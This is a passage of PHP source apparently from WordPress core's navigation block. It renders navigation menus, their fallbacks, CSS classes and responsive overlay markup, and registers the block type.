* Gets the inner blocks for the navigation block from the fallback.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks_from_fallback( $attributes ) {
$fallback_blocks = block_core_navigation_get_fallback_blocks();
// Fallback my have been filtered so do basic test for validity.
if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) {
return new WP_Block_List( array(), $attributes );
}
return new WP_Block_List( $fallback_blocks, $attributes );
}
/**
* Gets the inner blocks for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block $block The parsed block.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
private static function get_inner_blocks( $attributes, $block ) {
$inner_blocks = $block->inner_blocks;
// Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render.
if ( array_key_exists( 'navigationMenuId', $attributes ) ) {
$attributes['ref'] = $attributes['navigationMenuId'];
}
// If:
// - the gutenberg plugin is active
// - `__unstableLocation` is defined
// - we have menu items at the defined location
// - we don't have a relationship to a `wp_navigation` Post (via `ref`).
// ...then create inner blocks from the classic menu assigned to that location.
if (
defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN &&
array_key_exists( '__unstableLocation', $attributes ) &&
! array_key_exists( 'ref', $attributes ) &&
! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) )
) {
$inner_blocks = block_core_navigation_get_inner_blocks_from_unstable_location( $attributes );
}
// Load inner blocks from the navigation post.
if ( array_key_exists( 'ref', $attributes ) ) {
$inner_blocks = static::get_inner_blocks_from_navigation_post( $attributes );
}
// If there are no inner blocks then fallback to rendering an appropriate fallback.
if ( empty( $inner_blocks ) ) {
$inner_blocks = static::get_inner_blocks_from_fallback( $attributes );
}
/**
* Filter navigation block $inner_blocks.
* Allows modification of a navigation block menu items.
*
* @since 6.1.0
*
* @param \WP_Block_List $inner_blocks
*/
$inner_blocks = apply_filters( 'block_core_navigation_render_inner_blocks', $inner_blocks );
$post_ids = block_core_navigation_get_post_ids( $inner_blocks );
if ( $post_ids ) {
_prime_post_caches( $post_ids, false, false );
}
return $inner_blocks;
}
/**
* Gets the name of the current navigation, if it has one.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the name of the navigation.
*/
private static function get_navigation_name( $attributes ) {
$navigation_name = $attributes['ariaLabel'] ?? '';
// Load the navigation post.
if ( array_key_exists( 'ref', $attributes ) ) {
$navigation_post = get_post( $attributes['ref'] );
if ( ! isset( $navigation_post ) ) {
return $navigation_name;
}
// Only published posts are valid. If this is changed then a corresponding change
// must also be implemented in `use-navigation-menu.js`.
if ( 'publish' === $navigation_post->post_status ) {
$navigation_name = $navigation_post->post_title;
// This is used to count the number of times a navigation name has been seen,
// so that we can ensure every navigation has a unique id.
if ( isset( static::$seen_menu_names[ $navigation_name ] ) ) {
++static::$seen_menu_names[ $navigation_name ];
} else {
static::$seen_menu_names[ $navigation_name ] = 1;
}
}
}
return $navigation_name;
}
/**
* Returns the layout class for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the layout class for the navigation block.
*/
private static function get_layout_class( $attributes ) {
$layout_justification = array(
'left' => 'items-justified-left',
'right' => 'items-justified-right',
'center' => 'items-justified-center',
'space-between' => 'items-justified-space-between',
);
$layout_class = '';
if (
isset( $attributes['layout']['justifyContent'] ) &&
isset( $layout_justification[ $attributes['layout']['justifyContent'] ] )
) {
$layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ];
}
if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) {
$layout_class .= ' is-vertical';
}
if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) {
$layout_class .= ' no-wrap';
}
return $layout_class;
}
/**
* Return classes for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the classes for the navigation block.
*/
private static function get_classes( $attributes ) {
// Restore legacy classnames for submenu positioning.
$layout_class = static::get_layout_class( $attributes );
$colors = block_core_navigation_build_css_colors( $attributes );
$font_sizes = block_core_navigation_build_css_font_sizes( $attributes );
$is_responsive_menu = static::is_responsive( $attributes );
// Manually add block support text decoration as CSS class.
$text_decoration = $attributes['style']['typography']['textDecoration'] ?? null;
$text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration );
$classes = array_merge(
$colors['css_classes'],
$font_sizes['css_classes'],
$is_responsive_menu ? array( 'is-responsive' ) : array(),
$layout_class ? array( $layout_class ) : array(),
$text_decoration ? array( $text_decoration_class ) : array()
);
return implode( ' ', $classes );
}
/**
* Get styles for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the styles for the navigation block.
*/
private static function get_styles( $attributes ) {
$colors = block_core_navigation_build_css_colors( $attributes );
$font_sizes = block_core_navigation_build_css_font_sizes( $attributes );
$block_styles = isset( $attributes['styles'] ) ? $attributes['styles'] : '';
return $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles'];
}
/**
* Get the responsive container markup
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @param string $inner_blocks_html The markup for the inner blocks.
* @return string Returns the container markup.
*/
private static function get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ) {
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$colors = block_core_navigation_build_css_colors( $attributes );
$modal_unique_id = wp_unique_id( 'modal-' );
$is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu'];
$responsive_container_classes = array(
'wp-block-navigation__responsive-container',
$is_hidden_by_default ? 'hidden-by-default' : '',
implode( ' ', $colors['overlay_css_classes'] ),
);
$open_button_classes = array(
'wp-block-navigation__responsive-container-open',
$is_hidden_by_default ? 'always-shown' : '',
);
$should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon'];
$toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="4" y="7.5" width="16" height="1.5" /><rect x="4" y="15" width="16" height="1.5" /></svg>';
if ( isset( $attributes['icon'] ) ) {
if ( 'menu' === $attributes['icon'] ) {
$toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z" /></svg>';
}
}
$toggle_button_content = $should_display_icon_label ? $toggle_button_icon : __( 'Menu' );
$toggle_close_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"></path></svg>';
$toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( 'Close' );
$toggle_aria_label_open = $should_display_icon_label ? 'aria-label="' . __( 'Open menu' ) . '"' : ''; // Open button label.
$toggle_aria_label_close = $should_display_icon_label ? 'aria-label="' . __( 'Close menu' ) . '"' : ''; // Close button label.
// Add Interactivity API directives to the markup if needed.
$open_button_directives = '';
$responsive_container_directives = '';
$responsive_dialog_directives = '';
$close_button_directives = '';
if ( $is_interactive ) {
$open_button_directives = '
data-wp-on-async--click="actions.openMenuOnClick"
data-wp-on--keydown="actions.handleMenuKeydown"
';
$responsive_container_directives = '
data-wp-class--has-modal-open="state.isMenuOpen"
data-wp-class--is-menu-open="state.isMenuOpen"
data-wp-watch="callbacks.initMenu"
data-wp-on--keydown="actions.handleMenuKeydown"
data-wp-on-async--focusout="actions.handleMenuFocusout"
tabindex="-1"
';
$responsive_dialog_directives = '
data-wp-bind--aria-modal="state.ariaModal"
data-wp-bind--aria-label="state.ariaLabel"
data-wp-bind--role="state.roleAttribute"
';
$close_button_directives = '
data-wp-on-async--click="actions.closeMenuOnClick"
';
$responsive_container_content_directives = '
data-wp-watch="callbacks.focusFirstElement"
';
}
$overlay_inline_styles = esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) );
return sprintf(
'<button aria-haspopup="dialog" %3$s class="%6$s" %10$s>%8$s</button>
<div class="%5$s" %7$s id="%1$s" %11$s>
<div class="wp-block-navigation__responsive-close" tabindex="-1">
<div class="wp-block-navigation__responsive-dialog" %12$s>
<button %4$s class="wp-block-navigation__responsive-container-close" %13$s>%9$s</button>
<div class="wp-block-navigation__responsive-container-content" %14$s id="%1$s-content">
%2$s
</div>
</div>
</div>
</div>',
esc_attr( $modal_unique_id ),
$inner_blocks_html,
$toggle_aria_label_open,
$toggle_aria_label_close,
esc_attr( implode( ' ', $responsive_container_classes ) ),
esc_attr( implode( ' ', $open_button_classes ) ),
( ! empty( $overlay_inline_styles ) ) ? "style=\"$overlay_inline_styles\"" : '',
$toggle_button_content,
$toggle_close_button_content,
$open_button_directives,
$responsive_container_directives,
$responsive_dialog_directives,
$close_button_directives,
$responsive_container_content_directives
);
}
/**
* Get the wrapper attributes
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks A list of inner blocks.
* @return string Returns the navigation block markup.
*/
private static function get_nav_wrapper_attributes( $attributes, $inner_blocks ) {
$nav_menu_name = static::get_unique_navigation_name( $attributes );
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$is_responsive_menu = static::is_responsive( $attributes );
$style = static::get_styles( $attributes );
$class = static::get_classes( $attributes );
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => $class,
'style' => $style,
'aria-label' => $nav_menu_name,
)
);
if ( $is_responsive_menu ) {
$nav_element_directives = static::get_nav_element_directives( $is_interactive );
$wrapper_attributes .= ' ' . $nav_element_directives;
}
return $wrapper_attributes;
}
/**
* Gets the nav element directives.
*
* @since 6.5.0
*
* @param bool $is_interactive Whether the block is interactive.
* @return string the directives for the navigation element.
*/
private static function get_nav_element_directives( $is_interactive ) {
if ( ! $is_interactive ) {
return '';
}
// When adding to this array be mindful of security concerns.
$nav_element_context = wp_interactivity_data_wp_context(
array(
'overlayOpenedBy' => array(
'click' => false,
'hover' => false,
'focus' => false,
),
'type' => 'overlay',
'roleAttribute' => '',
'ariaLabel' => __( 'Menu' ),
)
);
$nav_element_directives = '
data-wp-interactive="core/navigation" '
. $nav_element_context;
return $nav_element_directives;
}
/**
* Handle view script module loading.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block $block The parsed block.
* @param WP_Block_List $inner_blocks The list of inner blocks.
*/
private static function handle_view_script_module_loading( $attributes, $block, $inner_blocks ) {
if ( static::is_interactive( $attributes, $inner_blocks ) ) {
wp_enqueue_script_module( '@wordpress/block-library/navigation/view' );
}
}
/**
* Returns the markup for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return string Returns the navigation wrapper markup.
*/
private static function get_wrapper_markup( $attributes, $inner_blocks ) {
$inner_blocks_html = static::get_inner_blocks_html( $attributes, $inner_blocks );
if ( static::is_responsive( $attributes ) ) {
return static::get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html );
}
return $inner_blocks_html;
}
/**
* Returns a unique name for the navigation.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns a unique name for the navigation.
*/
private static function get_unique_navigation_name( $attributes ) {
$nav_menu_name = static::get_navigation_name( $attributes );
// If the menu name has been used previously then append an ID
// to the name to ensure uniqueness across a given post.
if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) && static::$seen_menu_names[ $nav_menu_name ] > 1 ) {
$count = static::$seen_menu_names[ $nav_menu_name ];
$nav_menu_name = $nav_menu_name . ' ' . ( $count );
}
return $nav_menu_name;
}
/**
* Renders the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
* @return string Returns the navigation block markup.
*/
public static function render( $attributes, $content, $block ) {
/**
* Deprecated:
* The rgbTextColor and rgbBackgroundColor attributes
* have been deprecated in favor of
* customTextColor and customBackgroundColor ones.
* Move the values from old attrs to the new ones.
*/
if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) {
$attributes['customTextColor'] = $attributes['rgbTextColor'];
}
if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) {
$attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor'];
}
unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] );
$inner_blocks = static::get_inner_blocks( $attributes, $block );
// Prevent navigation blocks referencing themselves from rendering.
if ( block_core_navigation_block_contains_core_navigation( $inner_blocks ) ) {
return '';
}
static::handle_view_script_module_loading( $attributes, $block, $inner_blocks );
return sprintf(
'<nav %1$s>%2$s</nav>',
static::get_nav_wrapper_attributes( $attributes, $inner_blocks ),
static::get_wrapper_markup( $attributes, $inner_blocks )
);
}
}
// These functions are used for the __unstableLocation feature and only active
// when the gutenberg plugin is active.
if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
/**
* Returns the menu items for a WordPress menu location.
*
* @since 5.9.0
*
* @param string $location The menu location.
* @return array Menu items for the location.
*/
function block_core_navigation_get_menu_items_at_location( $location ) {
if ( empty( $location ) ) {
return;
}
// Build menu data. The following approximates the code in
// `wp_nav_menu()` and `gutenberg_output_block_nav_menu`.
// Find the location in the list of locations, returning early if the
// location can't be found.
$locations = get_nav_menu_locations();
if ( ! isset( $locations[ $location ] ) ) {
return;
}
// Get the menu from the location, returning early if there is no
// menu or there was an error.
$menu = wp_get_nav_menu_object( $locations[ $location ] );
if ( ! $menu || is_wp_error( $menu ) ) {
return;
}
$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
_wp_menu_item_classes_by_context( $menu_items );
return $menu_items;
}
/**
* Sorts a standard array of menu items into a nested structure keyed by the
* id of the parent menu.
*
* @since 5.9.0
*
* @param array $menu_items Menu items to sort.
* @return array An array keyed by the id of the parent menu where each element
* is an array of menu items that belong to that parent.
*/
function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) {
$sorted_menu_items = array();
foreach ( (array) $menu_items as $menu_item ) {
$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
}
unset( $menu_items, $menu_item );
$menu_items_by_parent_id = array();
foreach ( $sorted_menu_items as $menu_item ) {
$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
}
return $menu_items_by_parent_id;
}
/**
* Gets the inner blocks for the navigation block from the unstable location attribute.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
function block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ) {
$menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] );
if ( empty( $menu_items ) ) {
return new WP_Block_List( array(), $attributes );
}
$menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items );
$parsed_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id );
return new WP_Block_List( $parsed_blocks, $attributes );
}
}
/**
* Add Interactivity API directives to the navigation-submenu and page-list
* blocks markup using the Tag Processor.
*
* @since 6.3.0
*
* @param WP_HTML_Tag_Processor $tags Markup of the navigation block.
* @param array $block_attributes Block attributes.
*
* @return string Submenu markup with the directives injected.
*/
function block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ) {
while ( $tags->next_tag(
array(
'tag_name' => 'LI',
'class_name' => 'has-child',
)
) ) {
// Add directives to the parent `<li>`.
$tags->set_attribute( 'data-wp-interactive', 'core/navigation' );
$tags->set_attribute( 'data-wp-context', '{ "submenuOpenedBy": { "click": false, "hover": false, "focus": false }, "type": "submenu", "modal": null }' );
$tags->set_attribute( 'data-wp-watch', 'callbacks.initMenu' );
$tags->set_attribute( 'data-wp-on--focusout', 'actions.handleMenuFocusout' );
$tags->set_attribute( 'data-wp-on--keydown', 'actions.handleMenuKeydown' );
// This is a fix for Safari. Without it, Safari doesn't change the active
// element when the user clicks on a button. It can be removed once we add
// an overlay to capture the clicks, instead of relying on the focusout
// event.
$tags->set_attribute( 'tabindex', '-1' );
if ( ! isset( $block_attributes['openSubmenusOnClick'] ) || false === $block_attributes['openSubmenusOnClick'] ) {
$tags->set_attribute( 'data-wp-on-async--mouseenter', 'actions.openMenuOnHover' );
$tags->set_attribute( 'data-wp-on-async--mouseleave', 'actions.closeMenuOnHover' );
}
// Add directives to the toggle submenu button.
if ( $tags->next_tag(
array(
'tag_name' => 'BUTTON',
'class_name' => 'wp-block-navigation-submenu__toggle',
)
) ) {
$tags->set_attribute( 'data-wp-on-async--click', 'actions.toggleMenuOnClick' );
$tags->set_attribute( 'data-wp-bind--aria-expanded', 'state.isMenuOpen' );
// The `aria-expanded` attribute for SSR is already added in the submenu block.
}
// Add directives to the submenu.
if ( $tags->next_tag(
array(
'tag_name' => 'UL',
'class_name' => 'wp-block-navigation__submenu-container',
)
) ) {
$tags->set_attribute( 'data-wp-on-async--focus', 'actions.openMenuOnFocus' );
}
// Iterate through subitems if exist.
block_core_navigation_add_directives_to_submenu( $tags, $block_attributes );
}
return $tags->get_updated_html();
}
/**
* Build an array with CSS classes and inline styles defining the colors
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
*
* @param array $attributes Navigation block attributes.
*
* @return array Colors CSS classes and inline styles.
*/
function block_core_navigation_build_css_colors( $attributes ) {
$colors = array(
'css_classes' => array(),
'inline_styles' => '',
'overlay_css_classes' => array(),
'overlay_inline_styles' => '',
);
// Text color.
$has_named_text_color = array_key_exists( 'textColor', $attributes );
$has_custom_text_color = array_key_exists( 'customTextColor', $attributes );
// If has text color.
if ( $has_custom_text_color || $has_named_text_color ) {
// Add has-text-color class.
$colors['css_classes'][] = 'has-text-color';
}
if ( $has_named_text_color ) {
// Add the color class.
$colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] );
} elseif ( $has_custom_text_color ) {
// Add the custom color inline style.
$colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] );
}
// Background color.
$has_named_background_color = array_key_exists( 'backgroundColor', $attributes );
$has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes );
// If has background color.
if ( $has_custom_background_color || $has_named_background_color ) {
// Add has-background class.
$colors['css_classes'][] = 'has-background';
}
if ( $has_named_background_color ) {
// Add the background-color class.
$colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] );
} elseif ( $has_custom_background_color ) {
// Add the custom background-color inline style.
$colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] );
}
// Overlay text color.
$has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $attributes );
$has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes );
// If has overlay text color.
if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) {
// Add has-text-color class.
$colors['overlay_css_classes'][] = 'has-text-color';
}
if ( $has_named_overlay_text_color ) {
// Add the overlay color class.
$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] );
} elseif ( $has_custom_overlay_text_color ) {
// Add the custom overlay color inline style.
$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] );
}
// Overlay background color.
$has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $attributes );
$has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes );
// If has overlay background color.
if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) {
// Add has-background class.
$colors['overlay_css_classes'][] = 'has-background';
}
if ( $has_named_overlay_background_color ) {
// Add the overlay background-color class.
$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] );
} elseif ( $has_custom_overlay_background_color ) {
// Add the custom overlay background-color inline style.
$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] );
}
return $colors;
}
/**
* Build an array with CSS classes and inline styles defining the font sizes
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
*
* @param array $attributes Navigation block attributes.
*
* @return array Font size CSS classes and inline styles.
*/
function block_core_navigation_build_css_font_sizes( $attributes ) {
// CSS classes.
$font_sizes = array(
'css_classes' => array(),
'inline_styles' => '',
);
$has_named_font_size = array_key_exists( 'fontSize', $attributes );
$has_custom_font_size = array_key_exists( 'customFontSize', $attributes );
if ( $has_named_font_size ) {
// Add the font size class.
$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] );
} elseif ( $has_custom_font_size ) {
// Add the custom font size inline style.
$font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] );
}
return $font_sizes;
}
/**
* Returns the top-level submenu SVG chevron icon.
*
* @since 5.9.0
*
* @return string
*/
function block_core_navigation_render_submenu_icon() {
return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}
/**
* Filter out empty "null" blocks from the block list.
* 'parse_blocks' includes a null block with '\n\n' as the content when
* it encounters whitespace. This is not a bug but rather how the parser
* is designed.
*
* @since 5.9.0
*
* @param array $parsed_blocks the parsed blocks to be normalized.
* @return array the normalized parsed blocks.
*/
function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) {
$filtered = array_filter(
$parsed_blocks,
static function ( $block ) {
return isset( $block['blockName'] );
}
);
// Reset keys.
return array_values( $filtered );
}
/**
* Returns true if the navigation block contains a nested navigation block.
*
* @since 6.2.0
*
* @param WP_Block_List $inner_blocks Inner block instance to be normalized.
* @return bool true if the navigation block contains a nested navigation block.
*/
function block_core_navigation_block_contains_core_navigation( $inner_blocks ) {
foreach ( $inner_blocks as $block ) {
if ( 'core/navigation' === $block->name ) {
return true;
}
if ( $block->inner_blocks && block_core_navigation_block_contains_core_navigation( $block->inner_blocks ) ) {
return true;
}
}
return false;
}
/**
* Retrieves the appropriate fallback to be used on the front of the
* site when there is no menu assigned to the Nav block.
*
* This aims to mirror how the fallback mechanic for wp_nav_menu works.
* See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information.
*
* @since 5.9.0
*
* @return array the array of blocks to be used as a fallback.
*/
function block_core_navigation_get_fallback_blocks() {
$page_list_fallback = array(
array(
'blockName' => 'core/page-list',
'innerContent' => array(),
'attrs' => array(),
),
);
$registry = WP_Block_Type_Registry::get_instance();
// If `core/page-list` is not registered then return empty blocks.
$fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array();
$navigation_post = WP_Navigation_Fallback::get_fallback();
// Use the first non-empty Navigation as fallback if available.
if ( $navigation_post ) {
$parsed_blocks = parse_blocks( $navigation_post->post_content );
$maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Normalizing blocks may result in an empty array of blocks if they were all `null` blocks.
// In this case default to the (Page List) fallback.
$fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks;
// Run Block Hooks algorithm to inject hooked blocks.
// We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks.
$markup = block_core_navigation_insert_hooked_blocks( $fallback_blocks, $navigation_post );
$blocks = parse_blocks( $markup );
if ( isset( $blocks[0]['innerBlocks'] ) ) {
$fallback_blocks = $blocks[0]['innerBlocks'];
}
}
/**
* Filters the fallback experience for the Navigation block.
*
* Returning a falsey value will opt out of the fallback and cause the block not to render.
* To customise the blocks provided return an array of blocks - these should be valid
* children of the `core/navigation` block.
*
* @since 5.9.0
*
* @param array[] $fallback_blocks default fallback blocks provided by the default block mechanic.
*/
return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks );
}
/**
* Iterate through all inner blocks recursively and get navigation link block's post IDs.
*
* @since 6.0.0
*
* @param WP_Block_List $inner_blocks Block list class instance.
*
* @return array Array of post IDs.
*/
function block_core_navigation_get_post_ids( $inner_blocks ) {
$post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) );
return array_unique( array_merge( ...$post_ids ) );
}
/**
* Get post IDs from a navigation link block instance.
*
* @since 6.0.0
*
* @param WP_Block $block Instance of a block.
*
* @return array Array of post IDs.
*/
function block_core_navigation_from_block_get_post_ids( $block ) {
$post_ids = array();
if ( $block->inner_blocks ) {
$post_ids = block_core_navigation_get_post_ids( $block->inner_blocks );
}
if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) {
if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] && isset( $block->attributes['id'] ) ) {
$post_ids[] = $block->attributes['id'];
}
}
return $post_ids;
}
/**
* Renders the `core/navigation` block on server.
*
* @since 5.9.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
*
* @return string Returns the navigation block markup.
*/
function render_block_core_navigation( $attributes, $content, $block ) {
return WP_Navigation_Block_Renderer::render( $attributes, $content, $block );
}
/**
* Register the navigation block.
*
* @since 5.9.0
*
* @uses render_block_core_navigation()
* @throws WP_Error An WP_Error exception parsing the block definition.
*/
function register_block_core_navigation() {
register_block_type_from_metadata(
__DIR__ . '/navigation',
array(
'render_callback' => 'render_block_core_navigation',
)
);
}
add_action( 'init', 'register_block_core_navigation' );
/**
* Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly.
*
* @since 5.9.0
*
* @param array $parsed_block The block being rendered.
*
* @return array The block being rendered without typographic presets.
*/
function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) {
if ( 'core/navigation' === $parsed_block['blockName'] ) {
$attribute_to_prefix_map = array(
'fontStyle' => 'var:preset|font-style|',
'fontWeight' => 'var:preset|font-weight|',
'textDecoration' => 'var:preset|text-decoration|',
'textTransform' => 'var:preset|text-transform|',
);
foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) {
if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) {
$prefix_len = strlen( $prefix );
$attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ];
if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) {
$attribute_value = substr( $attribute_value, $prefix_len );
}
if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) {
$attribute_value = 'line-through';
}
}
}
}
return $parsed_block;
}
add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' );
/**
* Turns menu item data into a nested array of parsed blocks
*
* @since 5.9.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead.
*
* @param array $menu_items An array of menu items that represent
* an individual level of a menu.
* @param array $menu_items_by_parent_id An array keyed by the id of the
* parent menu where each element is an
* array of menu items that belong to
* that parent.
* @return array An array of parsed block data.
*/
function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::parse_blocks_from_menu_items' );
if ( empty( $menu_items ) ) {
return array();
}
$blocks = array();
foreach ( $menu_items as $menu_item ) {
$class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null;
$id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null;
$opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target;
$rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null;
$kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom';
$block = array(
'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link',
'attrs' => array(
'className' => $class_name,
'description' => $menu_item->description,
'id' => $id,
'kind' => $kind,
'label' => $menu_item->title,
'opensInNewTab' => $opens_in_new_tab,
'rel' => $rel,
'title' => $menu_item->attr_title,
'type' => $menu_item->object,
'url' => $menu_item->url,
),
);
$block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] )
? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id )
: array();
$block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] );
$blocks[] = $block;
}
return $blocks;
}
/**
* Get the classic navigation menu to use as a fallback.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead.
*
* @return object WP_Term The classic navigation.
*/
function block_core_navigation_get_classic_menu_fallback() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback' );
$classic_nav_menus = wp_get_nav_menus();
// If menus exist.
if ( $classic_nav_menus && ! is_wp_error( $classic_nav_menus ) ) {
// Handles simple use case where user has a classic menu and switches to a block theme.
// Returns the menu assigned to location `primary`.
$locations = get_nav_menu_locations();
if ( isset( $locations['primary'] ) ) {
$primary_menu = wp_get_nav_menu_object( $locations['primary'] );
if ( $primary_menu ) {
return $primary_menu;
}
}
// Returns a menu if `primary` is its slug.
foreach ( $classic_nav_menus as $classic_nav_menu ) {
if ( 'primary' === $classic_nav_menu->slug ) {
return $classic_nav_menu;
}
}
// Otherwise return the most recently created classic menu.
usort(
$classic_nav_menus,
static function ( $a, $b ) {
return $b->term_id - $a->term_id;
}
);
